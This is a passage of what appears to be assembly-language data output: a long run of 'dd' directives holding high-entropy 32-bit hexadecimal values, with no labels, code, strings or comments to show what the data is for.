1E078C9h, 0AE0206B5h, 24332772h dd 970E965Ch, 8EFB7E76h, 49A960A3h, 46DAB70h, 0F2FCBB5Bh dd 1114C085h, 7B000C78h, 0F5E0D666h, 13F345DEh, 0FCE5CE44h dd 7E2D1F62h, 5329B940h, 3776AA6h, 83D15117h, 0C69137C4h dd 0D5F0408Ch, 4A00EA8Fh, 0B1AB3A13h, 0BA6FA4h, 0B269CE29h dd 0DF4DF88Ch, 0D7C54Ch, 0F6D24263h, 4DD9B54Ch, 0EB03306Ah dd 72182254h, 7414E83Eh, 58FD5E18h, 0F85A1620h, 26B600D4h dd 0D85C79BBh, 2C026BC6h, 0FEC4313Ah, 146AC050h, 63967495h dd 0A0A7401Ah, 0DFDA35A0h, 60496C6Ch, 7E2300FBh, 39BF0DE7h dd 0EA2801D9h, 6F7C446Dh, 3A6A1820h, 4F0250E6h, 266CAA5Ch dd 0A03DB080h, 0B50091B3h, 0C0173C05h, 17570603h, 0AE6D46h dd 6CE77019h, 8312EA21h, 0A0058AECh, 31C0F7BBh, 71629Fh dd 73B7A806h, 0E62BB6DFh, 41680200h, 40532AA6h, 590305CFh dd 8028054Bh, 17D72D29h, 0D549951Fh, 0C479C30Eh, 4180435Fh dd 365C823h, 0C4586021h, 8CC0BCECh, 0F007ED3h, 87E4C17Bh dd 33F462h, 90FA260Dh, 0ACCA65CBh, 3C33Dh, 0DCAD83E8h dd 1332EF6h, 34351064h, 0EC88A50Ah, 950E18FAh, 1696D06Dh dd 4092A44Eh, 0EF6EB41Ah, 0E16712DFh, 2EB4E065h, 9E576807h dd 0EEC2E6B9h, 0A70CA27Fh, 24421282h, 58FB0C07h, 87313744h dd 88330893h, 0B320AFA6h, 0F37D0961h, 0B060E7A1h, 0B15135B6h dd 2622C4E0h, 0C55C93Fh, 2066DBABh, 0EA240114h, 0EE6153A0h dd 0B499834Ch, 0B0AEDAh, 0E2657C39h, 0C79CE9A4h, 32A1E407h dd 7E81B4DCh, 0A2FCBF68h, 508FE794h, 0A009D824h, 0A1C30CCBh dd 838DA7E9h, 6CA55C21h, 26E2C1B8h, 30977C70h, 0F8797937h dd 36628B52h, 0A06ED4C8h, 0FE0643ACh, 0F5691DA5h, 5CE7A5B4h dd 193D14FEh, 0EC158897h, 0FB098CBEh, 9000CC8Dh, 0EA2C8696h dd 90B88800h, 0ED583C39h, 374B3DBFh, 1484FB94h, 56015A22h dd 1DC06B4Eh, 9F40DAEEh, 1399E38Bh, 0AC4365F6h, 55200094h dd 7381AB85h, 664B00C7h, 0C50C91EEh, 9E3CBE4Fh, 0A1D81Bh dd 0E00484A5h, 4C5C9258h, 0F5168A5Ah, 0BD77019Fh, 0C428BC8Ch dd 420064D9h, 0FAFE2220h, 1D87C6EAh, 424F9450h, 0A3430DB2h dd 2E4C22E0h, 0CFA6880Fh, 1D7A60E1h, 14FD564h, 0C0864077h dd 0C4099E0Ch, 0D239C516h, 12ECB8BDh, 55019571h, 0A1618A45h dd 77D62DE0h, 0A5A200AEh, 0ECE8E24Bh, 1B005EC9h, 0AD89739h dd 4C95FF81h, 23008C40h, 4D0D537Ah, 0CD001E83h, 5D610733h dd 0F0EEC8h, 0C7303F6h, 0F19CFD9Dh, 0A4B73B00h, 4672B181h dd 7E963C1Fh, 64B5180h, 50A00EDAh, 0C1E77700h, 98B42D15h dd 7B6D982Bh, 1C38016Ch, 0E9838608h, 53B147E0h, 9DD02BE4h dd 0EE383EE3h, 0A76A80C5h, 0CFE58A65h, 4C3C1CC3h, 0A9ED07B7h dd 30506729h, 70B824FDh, 0BC15F428h, 0AB185498h, 6211D811h dd 80E20B8Ah, 7E07AE87h, 0A5C2F0A3h, 0E1018EA2h, 0F03637ACh dd 0C3701D43h, 0F52600F9h, 0A530A3AFh, 8B008F01h, 0D6B0BAF6h dd 79D5905h, 38BDE73Bh, 6AB7C06Bh, 73018FDCh, 0D7BA7D94h dd 17EC6633h, 0D9223A15h, 0C528980Ah, 5D1200ACh, 10B1834h dd 404DFD37h, 677FB050h, 0A37A5Eh, 859611B7h, 0AB7D8065h dd 2D033A04h, 0A5C0977Bh, 810EE5h, 2C8EBB4Fh, 53F9F849h dd 0C008C92h, 1F937CD8h, 7181BB52h, 2775D1h, 653472F8h dd 15A30A24h, 25753500h, 9910B491h, 50051D93h, 951C7E3Bh dd 6BCD401Dh, 75E0818Eh, 6A729009h, 95C03AEh, 9A42D804h dd 5D9B0B0Eh, 5C20C8DBh, 0F380EEC7h, 0C5C43300h, 0B260BCE9h dd 1E48A541h, 6FF30075h, 0FAB8994Ch, 6D732B00h, 6925A3F8h dd 0C81A0164h, 0D7501436h, 6081EC1Eh, 2105FA05h, 24C0239Dh dd 0C53374Fh, 0DC630B19h, 50C8DB0h, 301BA879h, 0B5540039h dd 0D7D81FEAh, 8800C43Ah, 0B95346BAh, 5AEA8A2h, 74D1FA23h dd 0B7AEC042h, 26037F8Fh, 0AB4FB60Fh, 7BD0C7DFh, 18F7E52Fh dd 0A4793680h, 0C8005167h, 34A94C2Eh, 3AB111D5h, 0D780F1F0h dd 0A49FF7B8h, 0DC54B9FCh, 6A004CC8h, 433E6206h, 4C8283AAh dd 8003452h, 7BFF9914h, 2748C038h, 0F68A000Ch, 5066F316h dd 8B2107F7h, 82BF32DDh, 60A525h, 0DB03FEAEh, 8D14C4B7h dd 0EA84C149h, 40CAE021h, 0F593D834h, 8B75C457h, 9A10D800h dd 0B033464Ah, 0E59900FCh, 0F7976AF4h, 2B00FB43h, 49F0A756h dd 9A85948h, 0E2D78850h, 2C546F80h, 4C2C0566h, 188044F8h dd 4EC415AEh, 0DAAA3DE0h, 0EC50A914h, 0FB6D3803h, 1101AF18h dd 677BB36Eh, 0C4E1F46Fh, 0C9AEE080h, 65C3286Ch, 0D3995E00h dd 0DD8364FBh, 3EA0C86h, 3469F6D0h, 2DC81886h, 7D3940BCh dd 33324009h, 0A24C3008h, 0D1AD0025h, 0F9FFF70Bh, 6C0037C5h dd 0C57298Ch, 3EFC2CEAh, 9B8041AEh, 0D646D486h, 593F4EB4h dd 0F2C40045h, 987D081Bh, 0C420495Ch, 0D9E2401h, 0CC6CD594h dd 0EB013DEFh, 964D3BD8h, 90814A72h, 0B2412FC8h, 1004CFA1h dd 7FA69BE4h, 0F7F1D89Ch, 5515C64h, 4DFA8EDh, 358C7065h dd 99C0A929h, 0B0C5FA68h, 86280FEAh, 0B1847C8Eh, 0C7A090E2h dd 0E6981383h, 30546D30h, 242FE794h, 8574DDC2h, 41183D77h dd 4A2771F8h, 28FC200Eh, 0F4421A00h, 0B976CEAEh, 494902Dh dd 26FE4034h, 9BCE8284h, 0F003C092h, 49003778h, 3DE407A4h dd 1955214h, 0D850B6BCh, 805EF472h, 0DCD5720h, 0C10BC34Ch dd 7AC2A1A9h, 4820EC1Ch, 0C426DF24h, 0ED528830h, 0E97907C0h dd 10A83B17h, 36C3E35Fh, 7288A000h, 0EE0D19D8h, 0ACDD03C1h dd 7AF9DECAh, 86A4D0DDh, 0D000FB09h, 0C9739C1Ah, 0ED6BBAh dd 7A97FF7Ch, 0F2D359B1h, 49E12F00h, 3E7EF7A7h, 0CDB5070Dh dd 0D0121F99h, 117FCFA0h, 0DD0075E0h, 3AFA4D8Ch, 36358C3h dd 51CBEEEFh, 0D83E49DAh, 67711285h, 0A3464047h, 90286BB2h dd 117A0E4h, 7BF5E1D5h, 281F136Fh, 0EBF31508h, 0A03CCEA0h dd 0CE515F7Dh, 0D1F10697h, 21212AD4h, 0F0EA820Eh, 9E11D835h dd 755D244Eh, 6E3900A0h, 0ED0784DFh, 8A291506h, 14900B5Eh dd 0FCC603CCh dd 11616B87h, 282EBED2h, 385E2404h, 8D43B86Ah, 1CC4EB56h dd 12E57D1h, 1A42A7Dh, 0C08347C8h, 76F2BA71h, 0B488B524h dd 68A60360h, 5D4B3F5Bh, 131800F9h, 794D595Fh, 0A2008EFEh dd 84693F91h, 393CAh, 31EDE38Dh, 3A9A1158h, 0DF8FF700h dd 0EE861B69h, 0F07E00A4h, 2DF435F3h, 0F9482694h, 0D8040048h dd 8DA827F7h, 7DAF38A2h, 65DC4A00h, 0D6EBFEBBh, 26CFA500h dd 6A4FBDB6h, 0D0B8D5h, 45308906h, 7137D9D2h, 649E5F00h dd 4A5B5A98h, 1E44FCE9h, 80726A19h, 95D4242Ah, 770054B3h dd 0B2362559h, 0FB5A59Ah, 2CC1C094h, 0FE01706Fh, 700E77B9h dd 6C0080A4h, 8C4CF166h, 7C8BE97h, 0C3E1C6BAh, 69A2214Dh dd 2B90FF6Ch, 5902024Fh, 66FC9A31h, 0DF04C879h, 0C198287Eh dd 0FA36E284h, 0A867F8EFh, 2E538F8h, 0D9D53771h, 9C65770Bh dd 0FC0E0A00h, 1C3D7140h, 4056B746h, 1D545CBFh, 0F40AE9D0h dd 0E0D81CEFh, 0F08A6181h, 5C245DB8h, 670040Dh, 0C0C971EDh dd 0D403052Ch, 0D96A5604h, 600E5544h, 0D0DBA7C0h, 9D492EB8h dd 0F9B60080h, 8CD15418h, 0E71F3FB9h, 0E2B8B8F4h, 8D98002Dh dd 0DB65BBE6h, 0E901182Eh, 15A9D54Fh, 0BDE8CC8Fh, 27760008h dd 4BB52D89h, 2B00B938h, 0BEAB033Eh, 59D9AF9h, 87E4B21Bh dd 702E80DFh, 470027D8h, 0B8E62B99h, 0F6E1097Bh, 62490032h dd 258A9B39h, 71058F5Dh, 78F2D5DDh, 53B04Bh, 7FB943B4h dd 3A5C093Eh, 90805586h, 0DA9D4AD9h, 47894418h, 0F1B2E0h dd 9AAED78Bh, 0CE0EE7AFh, 29F6C47Dh, 2D6EDD01h, 47A42E1Eh dd 2631A424h, 99A8CEBh, 70A004C3h, 0CD83DFB0h, 0DCFF809Ah dd 7005E9F2h, 0BF30A315h, 0EA7B8C40h, 2E5B31F9h, 5884DDD7h dd 2C9C128Ah, 13704025h, 3AB0123Dh, 630C406Eh, 0CE127579h dd 0C0B884FEh, 85273500h, 3A0C9542h, 0DF200099h, 7F4813ABh dd 972CB07Ah, 6F87647Bh, 0AEE7FF90h, 25637270h, 0D2A401C2h dd 0E6767DCCh, 0A81DE4B2h, 948798A3h, 0EF5CE4FAh, 0DF89EB01h dd 793965F1h, 51E6A450h, 6EA50034h, 0F50CF6A0h, 5B004F61h dd 0ED28F71h, 3B99B0C6h, 541FCB4Dh, 0F29E0165h, 8041DEAFh dd 846F0940h, 0C52EB8Bh, 452ED1B3h, 32760F18h, 5E3CCA1Fh dd 295E20DFh, 0B6B143CFh, 671F9C5Fh, 541979Fh, 84136FDh dd 84170C77h, 0E0F45071h, 16846026h, 80E8347Eh, 28C80C84h dd 0B5690400h, 7477E054h, 6C8148ADh, 0F6210E7Dh, 0A14147EAh dd 0C40B316Fh, 0B507CBA0h, 7F8B0326h, 0CFF38860h, 8994B991h dd 402056A9h, 3FCA6A5Ch, 3900AEEEh, 0AACC44DBh, 72DDCB02h dd 2FC301BBh, 72703BCEh, 346DF93Ch, 0A0443E68h, 0AE8C0260h dd 1F211417h, 663288E8h, 0EBC2C85h, 37400773h, 0FB198E2Eh dd 48E45130h, 0F88838h, 46032105h, 0E76C6D98h, 9981A703h dd 116137Eh, 48513B29h, 0F0C8675Ch, 0D700DF9Bh, 53A21ECh dd 0A03533h, 0A8A1FA16h, 0ED42F917h, 15CE149h, 0BA84DE68h dd 67CC0D16h, 78EE05B1h, 0D0CC7725h, 5A6EBE60h, 0C3368F00h dd 0C1C6A244h, 415209E0h, 789051FCh, 4B391B88h, 0B400CB6Fh dd 456BF4B1h, 35AC00DFh, 43D67C8Dh, 0A6006C54h, 0F9D8CDFBh dd 0C0445D67h, 1F2A8340h, 0C82885CAh, 533BF4E8h, 0D7EC831Dh dd 0C8C7F9DBh, 737648h, 1B332FD3h, 953A2B0Ch, 626DD501h dd 7DB588EFh, 0FFF470h, 50A05F77h, 0C5A680DAh, 0E9AC4600h dd 4A81A49Fh, 8B9E2E5Bh, 9DCF024Fh, 3EC09969h, 8A0C533Dh dd 28D1E9FFh, 769F0048h, 297BCD1Fh, 0C0FDDA5h, 840851F1h dd 54802865h, 0E8784825h, 0C32AF4D5h, 0AE1BDE50h, 8C3C4000h dd 670D1F62h, 3F5D00F3h, 482D3B64h, 54095065h, 80D24F92h dd 0EEB85C94h, 790F007Dh, 0CD3C0D07h, 1C033B5Fh, 0D3647E4Ah dd 0DB2CF80Ch, 40E0294h, 6C4C921Dh, 8CA41301h, 13032BECh dd 0D084AE17h, 25F3DC64h, 130C300h, 36633CC0h, 0B78F00A7h dd 2E5F183Fh, 0C579390Ah, 58907903h, 484A77A6h, 4F027A2Ah dd 37B751A8h, 65E041C0h, 84FDBC00h, 0E897BD1Ah, 0E4B11DCAh dd 0E3D302D4h, 2B43FEC1h, 7E282698h, 390E1B00h, 18A8115Ch dd 18B7BABh, 36F02F72h, 0E4C1A775h, 0FC0BB00Dh, 900B11h dd 53ACC240h, 9B82C67h, 0A4EF003Ch, 17FAB2B6h, 8D12D8EEh dd 9900D71Eh, 62F5C8F6h, 0EE382647h, 90800019h, 6B345425h dd 2C4C4Ch, 0CD601D7Bh, 0DC6867h, 4F38849Ah, 973BE6F5h dd 0AF3D8300h, 3760E994h, 7F91B813h, 0A3F05Dh, 0CCF39002h dd 0F1A628F6h, 0B99BDC13h, 35A05E01h, 8DF14B49h, 11192D8h dd 0EC5EB4A3h, 0DCD816BFh, 36FC6222h, 4B9B5707h, 34D0E476h dd 99DEE0h, 0D2C96053h, 5A7D702Bh, 76FF8807h, 0AC508A13h dd 0A05CFEh, 41A7E96Dh, 0ED39F368h, 0CA897E00h, 0FFD921BAh dd 9824008Bh, 5FD66A1Eh, 16012E0Dh, 9E5530A8h, 0BB20E7D1h dd 2DA100DEh, 0BA3277F6h, 2B003C10h, 0B491F3C5h, 6C2207h dd 0CE712FEDh, 0BEB901B7h, 0E002DE1Fh, 0CACE180h, 5FCB90h dd 781B42B1h, 0E68C12BFh, 0DC917103h, 0F03BF6C5h, 0E96E0Ah dd 0F7D1922Fh, 897F9AACh, 4C00E2F2h, 0D86D387Ah, 704A6B22h dd 0D6E409AEh, 5800DD6Fh, 0BF14BE02h, 689FFB00h, 0ACFD509Ch dd 961B002Eh, 4093C70Ch, 0EB07467Eh, 5047C3B5h, 1D2F2BA0h dd 529F1DA2h, 17E1836Fh, 1989854h, 0EA03EEAFh, 41EC1D43h dd 0E192B83Ah, 9DE90934h, 70804FDCh, 0A1867915h, 37C39F1Ch dd 0A09A1DCEh, 47255361h, 0CD5000DCh, 36C1B66Ah, 7C047DA1h dd 0D4E873D5h, 12A0E8A0h, 1C391D44h, 9E724070h, 0DADC5630h dd 51013F00h, 0FDEFB009h, 8EC60148h, 27A32F1Eh, 4AF081DEh dd 233D9544h, 0E9F0E4h, 8054839Bh, 20CD5BA4h, 80C5DA3Dh dd 8F70937Bh, 4D989Fh, 268468C8h, 0B816090Bh, 0DD836D00h dd 0E87A9062h, 74D34065h, 8FC621h, 8514870Fh, 31F5405h dd 0A940130Eh, 89CB4BFh, 4A7A0049h, 2023C15Ch, 0D700750Fh dd 473FF003h, 1EF157Eh, 0F73C38E5h, 0C4717D53h, 9E002C99h dd 0B0C7E3E9h, 97D3E7h, 0ED6356DFh, 80F99A4Ch, 9ED4F400h dd 7C2984C6h, 0FBAA0155h, 4C8F67FCh, 32D6CCB4h, 0C43AEB00h dd 6545F25h, 7BD70061h, 179CA82Ch, 9D07D280h, 9B7C34C6h dd 0B0D3B053h, 0EA994391h, 0A77A0529h, 0AC8041CDh, 4C21007Eh dd 0A87BF2BDh, 0ED1E0059h, 0B03E3F24h, 3700F80Bh, 0D2BC76D8h dd 989A5Bh, 2C12919Dh, 2D78DE81h, 0D0500900h, 41D3A85Dh dd 6CC03ACh, 88951AF6h, 8BA87F83h, 0C2253D4Ah, 254D0E0h dd 454415EAh, 0BA40B237h, 0FF0A092Fh, 0FD1F49F7h, 19387B00h dd 162E05DEh, 8013D4D1h, 275DC004h, 0D50074BAh, 9A7DE5CFh dd 105192h, 0AEC5355Bh, 0FA6049BDh, 38241400h, 0BA3C6362h dd 17CB2EEh, 0F2347A26h, 0F8A091F5h, 0E900CDFFh, 0B8A73A02h dd 50DDD6Ah, 200FF6BFh, 5C0490E2h, 0A2006B9Eh, 85A640E0h dd 28328712h, 4010DFF5h, 4903989Fh, 4DF08DA6h, 0E3B5A0DBh dd 0BEC4BC17h, 0EB6AAD80h, 0D835C155h, 2D4E68C0h, 3C06ACh dd 0E19E8D58h, 0AA6241F6h, 9C986C4Ah, 5BA810DCh, 845E0065h dd 1BE336D5h, 0ACE0E7B1h, 0D911C0D6h, 6BFD0353h, 0FF0E4102h dd 5455B538h, 1828BEECh, 28A20048h, 0EFFFA64Ah, 8D3E8F4Dh dd 102BA8B9h, 8C8B44Ah, 426300EFh, 8599F09h, 5A0097E4h dd 91EE0F4Eh, 26BC981h, 0A514E15Fh, 0A47C4A37h, 7B6E723Eh dd 94C58041h, 7B5EB355h dd 5F200E07h, 39CF53D3h, 33A483D2h, 67A5B790h, 0C209AFB0h dd 4DBC5Ch, 7680AE6Bh, 0FC1D70D0h, 66310C0Ch, 2169DEC8h dd 2233C301h, 8E1A1473h, 0C92A5ED4h, 0D0E0C708h, 2B003025h dd 0D9CBF4AFh, 589FAB8h, 0EC9017B9h, 92C8B057h, 66607B18h dd 48751DB1h, 0A22646A0h, 62E00CDCh, 0FD4AF329h, 60B63C91h dd 84923180h, 3F54BD01h, 0AE53EB1Fh, 2990ECCCh, 0E37E08h dd 1F6FE07h, 0F915CA31h, 2A15A58h, 0CF1A6F74h, 8F48543Ah dd 0EA409307h, 0E68A64Fh, 4014CC00h, 0A3B74869h, 617B3F6Ch dd 1A1EAFA0h, 0C47F84B2h, 0E7CD004Ch, 4233FF06h, 0AB66FDE1h dd 318A08h, 14E7A13Dh, 0DE3B4B91h, 7AB20706h, 5C417C5Fh dd 0E8606C95h, 0DDEB5B7Fh, 0D9BEB41Dh, 6A5AE143h, 85C0FC74h dd 142B89EEh, 8C58E496h, 3852E789h, 44FDFE1Ch, 725C54C0h dd 933687h, 0C6E83B89h, 0B9143D94h, 86FF9701h, 0C338AF81h dd 72636040h, 0FACC05BDh, 0C01A7ABFh, 1B453E23h, 384CF41Eh dd 6934280Ch, 880D8DEh, 0E1DFEE7Fh, 91EDB305h, 0D1CBBC40h dd 31129FCh, 7AC5C6EFh, 5D9D37B1h, 78E0C5B4h, 0DD800A2h dd 0D0FE0548h, 59E3DC2Ch, 0E770BE07h, 1370B5B6h, 5A876F9h dd 0C02D58E4h, 0E6B8F621h, 0DC1FF57Ch, 7B003AEAh, 0A0D7B5A6h dd 0A9601E8Fh, 66EB830Ch, 0E2C12221h, 3578805Bh, 0C55FE3CEh dd 0E2574C6Fh, 24212012h, 0A5A40624h, 0CC06C15Ch, 0BC7CEDE4h dd 0E6480660h, 501E6ED1h, 0CE26D409h, 847281h, 4BA09D52h dd 6DC0A5DDh, 0C162351Dh, 0F5218A18h, 95A00084h, 2AFB0830h dd 4730B073h, 0F1E0A878h, 2C0453DEh, 0E83091A2h, 1A3EC37h dd 0E5584E88h, 0ED441B97h, 0F0FFDD39h, 7F00FB81h, 460C5C0Eh dd 72B56BF2h, 0FD0A1EF6h, 0AE87C0A0h, 48A7BEFCh, 0EB060300h dd 71758E6Fh, 96650181h, 0BA6C97A2h, 6B86E4D0h, 0FA34600Eh dd 0D1E06069h, 0BB7F13h, 73D8F57h, 29992C45h, 9FED6400h dd 18253250h, 0F16E0191h, 5E9B2E60h, 0D719C008h, 70243602h dd 0C0BA9A1Fh, 38A0C12Fh, 0FA0302F5h, 7F20094Ch, 88A999C8h dd 0ED751100h, 0F0CEBDC7h, 65E000D1h, 0AA3C73D7h, 0C1E841BBh dd 0C514D501h, 48EC841Fh, 7DDE10F8h, 3AF78CEh, 0CAE65124h dd 8FB03070h, 0BF006F17h, 940C8DD6h, 3FA24F74h, 50E02753h dd 97ABDFD5h, 40EB5100h, 7BEC6B3Ah, 0ED0A0070h, 0A65245AFh dd 9B0C5EFDh, 28924F84h, 3AD8F51Fh, 0E56D00B2h, 0D6BBD9A3h dd 1300D73Ch, 0A1DB0AF3h, 15E655h, 597CB898h, 0DD5C70E0h dd 8D1618C7h, 0C04CB4A1h, 35AA3980h, 40FBD5B7h, 38E41300h dd 0A28B20DBh, 849D3F05h, 0EB5C8A05h, 0AF70C044h, 90167D4h dd 0E724A24Bh, 39CD0A05h, 4770E0h, 94E268BBh, 3A69E4F6h dd 52986318h, 5366D0h, 21EE5F58h, 0E88B2DBEh, 0B89540h dd 9E94DAACh, 0C0886A84h, 6D4F4004h, 23C08AADh, 1D30F79h dd 6CAF225h, 0FC5F1796h, 1BE83BEDh, 0E4710700h, 5B55AFB6h dd 203200F7h, 660E832Bh, 560004CCh, 7F9FBECh, 1903B969h dd 11F581C9h, 0DC82F4EFh, 63201C01h, 67B07477h, 0C00418D0h dd 83408520h, 8C0FC944h, 800BA0C5h, 6F9DC4A5h, 42A40013h dd 0CEF6C3BDh, 730710E4h, 0A87ED0Fh, 6081404Ch, 850649E5h dd 1900476Bh, 55A95886h, 0B69DBEh, 0BDA5EA73h, 7E8C1B38h dd 0E181833Fh, 0BABB3969h, 15769E4h, 32AEF10h, 0E4F175D8h dd 43208BBFh, 1367006Bh, 35E4FC06h, 0AC6676AAh, 214009h dd 0A50699C7h, 0E960D28h, 0DA4BC400h, 44D54268h, 0E8F6B0E2h dd 5C91E024h, 4E076D6Dh, 0C1E6D119h, 58CE03B0h, 8204FE98h dd 64481C11h, 2100FA33h, 2183538Ah, 603992h, 0F3E87324h dd 7054C517h, 7D8A461h, 0E0D14F6Dh, 2D5DF0h, 1FE41424h dd 1AAF4529h, 0E17FC8EFh, 0A46EC22Ah, 0ACDAF400h, 53B637C4h dd 0F68A30CEh, 33914471h, 6600CBEAh, 0FE9D1CB5h, 70F5F1Dh dd 0F49C80F8h, 10D3E074h, 87F60299h, 20A79600h, 0B4CA0940h dd 67EB007Fh, 1BCFCC64h, 28603717h, 1E40F58h, 618601E0h dd 84F315F4h, 160898C4h, 3CD6A21h, 65367AE0h, 0F6FB2E56h dd 0CCB0B5E2h, 0FE1106DDh, 109005E4h, 663D900h, 7D8D08A0h dd 9B709D15h, 925F0090h, 623D2E18h, 0C451DD3h, 5EDC8002h dd 9ABE841Ah, 14F1BF00h, 959B46DBh, 3502E87h, 0A897003Ch dd 170B9FA1h, 83691903h, 0A10C8B1h, 0CA30A0A0h, 0C0B269Ch dd 58F87820h, 5A9EC100h, 25B41921h, 0A020E141h, 0F9074013h dd 0BB9CD30Ah, 75782038h, 0FF068C43h, 0A67049C6h, 870901D1h dd 8A2A03E7h, 9832E1E2h, 29219C09h, 14E800B6h, 0CE7E8494h dd 0FB05C4F7h, 0FD4EA99Ah, 0F52EB840h, 31A689Ch, 46E61744h dd 41D0A3FBh, 27012DAAh, 0F278D12Fh, 30A81A84h, 0C99E22FCh dd 0C15D8C00h, 1A54CE4Eh, 0BB1318A4h, 348B2818h, 30C031C0h dd 0ECE7582Bh, 1D66EEE4h, 81C9F14Dh, 0FFA19D98h, 0D14FF08Eh dd 0F26EE02h, 0E2F273CDh, 74E82014h, 30ED36BAh, 8AD9D985h dd 80C0069Dh, 0EFCE7311h, 0BDDD011Ch, 2F334F05h, 87E1D01Eh dd 1077A40h, 0D18F5AA4h, 30172AD6h, 9C056528h, 293E1FC7h dd 56248447h, 0D9E866h, 0E9F2FBA4h, 1214440Bh, 1F580D14h dd 59268D80h, 0DD38E0h, 7318F163h, 0A7100C3Bh, 0DD28714Ch dd 6140E23h, 630DE464h, 0D8590008h, 3346065Eh, 0A4247326h dd 0EE04F039h, 0D840A79Bh, 148DEE0h, 456C624h, 6E8A2C0h dd 8082432Ah, 0ECE8B52Ch, 49800C2Fh, 17C16A85h, 0E5BC8602h dd 0AF58F1BAh, 0A91A87DCh, 75FCF583h, 788C9911h, 86690Ah dd 53E71162h, 777D1FFEh, 7085E114h, 31385C8h, 57DBBC41h dd 4417F226h, 0AC34886Ch, 8166841Fh, 0AC9CD4h, 35B63B9h dd 4F2FA6h, 0F4C9AF9Bh, 0B6BD7CF6h, 4D5E9F0Fh, 1C219294h dd 8050AD84h, 64FE1Eh, 9C8B0D98h, 0E53185F9h, 15BA5400h dd 4B24705Fh, 0B8F0519Ah, 8C635820h, 0BAE0ED04h, 0FF62D462h dd 0E0F54620h, 0A3F43FFAh, 0B4120C81h, 85278BA1h, 229FB221h dd 0E001E834h, 1BAD10D5h, 944B453h, 0D1FA56B1h, 5B4EFC00h dd 0C8991918h, 87E8DE89h, 0D720D8B8h, 394E2746h, 759F2B1Ah dd 2524D236h, 5B480064h, 6015332Eh, 96F50D03h, 17C12B25h dd 0D158E1h, 0F11A4910h, 0DB313D62h, 0A2D41E1Fh, 7A7830h dd 1E7F46EAh, 90C9CA42h, 93051D28h, 571CFE03h, 6B92869h dd 0BC1B2640h, 920058F1h, 6371F97h, 1F1095D2h, 80BB3AC4h dd 6AD9A7A0h, 0D80CED48h, 0F17C8B28h, 0FC630427h, 0FBD03F19h dd 305D1E00h, 0D3CFC3h, 81387B86h, 31B4F2A4h, 52B2C001h dd 1B8C099Eh, 1DE81024h, 1CC590DDh, 117C0050h, 93B0A46Bh dd 9EF2DE00h, 7B2B264Eh, 26B89A0Ah, 8ECAAA8h, 5806B5Dh dd 0D8F349C7h, 0E69C1809h, 0EEE45875h, 14E76A26h, 0CC1F3C28h dd 6680B4BCh, 0C2FE8096h, 0C8CCA2F6h, 140E204Ch, 209BB699h dd 19C741E1h, 30A1A842h, 42040611h, 75D365E5h, 210F4123h dd 400617DDh, 14C36049h, 789E04CBh, 909F8563h, 458FE870h dd 0A40021E0h, 50B0C2C5h, 0B9835BB2h, 0DE100D0h, 0B6F32C5Ah dd 4B7EE300h, 0D1A8B461h, 0E0893DFFh, 949A1581h, 0F158799Dh dd 0C0904492h, 0E993A1F0h, 5D6CF418h, 0C0A37F91h, 0BDEFA579h dd 33171255h, 0DC01CC94h, 0DAB4CB8Fh, 0D0C4E021h, 681C3EF0h dd 31206980h, 9FA07C14h, 3A38B100h, 0AD411FD8h, 0D27D018Bh dd 0A90D2C47h, 0A6F05019h dd 0F5E06E24h, 0D4143201h, 0EEDFBCD6h, 0BB94E8h, 0E7FA3923h dd 0CA24CDBDh, 8F9BE11Eh, 0AE85A980h, 6CD0ECA5h, 0BA98A9A0h dd 5C146AE8h, 7D0C7F2Ch, 0FD9A961Ch, 92B00340h, 38DE3D95h dd 36815918h, 0A7F20CFAh, 39918004h, 615ACF4h, 0C0E70132h dd 0ED01B4DDh, 15343298h, 0FB8F38Ah, 80AFC1C3h, 0A427FA12h dd 0D025E92Eh, 32D604Ch, 0F26BC61Fh, 0EF906DF1h, 0A060FB11h dd 67DB8D48h, 5DA100BAh, 83FB7E8h, 58001B45h, 0A4853339h dd 761B507h, 0E0EF4A35h, 7C13C03Eh, 5003A25h, 0B564E7F4h dd 1FCC8750h, 1D5D45h, 0D283A084h, 7EF09172h, 2861BC05h dd 0CF830AFCh, 0A182E3FBh, 0A0DC6987h, 1812601Ah, 3864253Ah dd 0F30450C7h, 5E261380h, 0C5C30F7Ch, 85E0FBE4h, 3CE0AD5Bh dd 80EC210Ch, 0C718D1h, 43AC7950h, 20093F27h, 84CF4F00h dd 7BBD2518h, 288FE7C3h, 8740B342h, 8C3B7DA0h, 18F47830h dd 0C5366233h, 305826D8h, 9E7CAA04h, 85878B01h, 9383A66Bh dd 0E61E6B20h, 80D83B28h, 0AA7F7685h, 2EA1C0F1h, 0EB1423E8h dd 188C55C6h, 0A4319717h, 0BCDF0120h, 512DEE3Dh, 225BC860h dd 0F5EC3972h, 8BB0E765h, 2CE9284Fh, 0A15819F6h, 998B1EC0h dd 0E70D0CA3h, 0D0EBE118h, 60A63D6Fh, 7224F00h, 1C287BC1h dd 2E7E3089h, 6460C759h, 90EA52h, 3AED1E73h, 0CC3DBEEh dd 0FA503538h, 490A7A79h, 7C875113h, 84A3128Ah, 89DC0A67h dd 139C1A33h, 840119A0h, 56B178h, 9259CA87h, 0E2D21D08h dd 0B6D00A8Fh, 0E9110848h, 4423C17Bh, 0BD9A4983h, 3900C833h dd 6EFC375Dh, 5BFCD69h, 0AD22363Dh, 65540033h, 1CEC3AF9h dd 586431C0h, 0A2117CDh, 0A85612B2h, 455A0650h, 2D003934h dd 80215CEEh, 28837822h, 0CCC19C4h, 9F4A690Ch, 0B100A311h dd 0D558D9A0h, 0F6B7D453h, 57BCA012h, 0B520156Ah, 960FC4CCh dd 40320529h, 5E459B68h, 11C06F59h, 0D388D5F8h, 7B557C2Eh dd 957B1453h, 0DC40345Ah, 21C1C0F7h, 26DAA4FBh, 13BA640Dh dd 788919D1h, 0AB04FAE8h, 6100902Fh, 4FF493E5h, 29104A63h dd 6917041h, 711C89ABh, 7E7810D2h, 84A80128h, 4222DA1Dh dd 3FEA5207h, 0C01A9960h, 0A1AD0377h, 0FD9F82CFh, 40AFB978h dd 4FF88D81h, 0AD33Ah, 1271151Ch, 0C08436A6h, 23EA7919h dd 9724721Eh, 1D85C8A5h, 0AC452ABCh, 540FA8C0h, 0BCA90A23h dd 5C091A91h, 5083E6FBh, 4000AB22h, 40BC6B33h, 24AF5EB5h dd 81802A7Bh, 15D7500Bh, 0B6DC1107h, 0C0F0C41h, 22860308h dd 0A3772697h, 0FCC86B00h, 0E2D32D40h, 780926Eh, 4E7F8373h dd 551C3027h, 1B749714h, 2A219260h, 0E3634Bh, 0EACB1AB3h dd 9B108450h, 36FD1400h, 0B7872006h, 0C268C0FBh, 3C03193Ah dd 3738A8A8h, 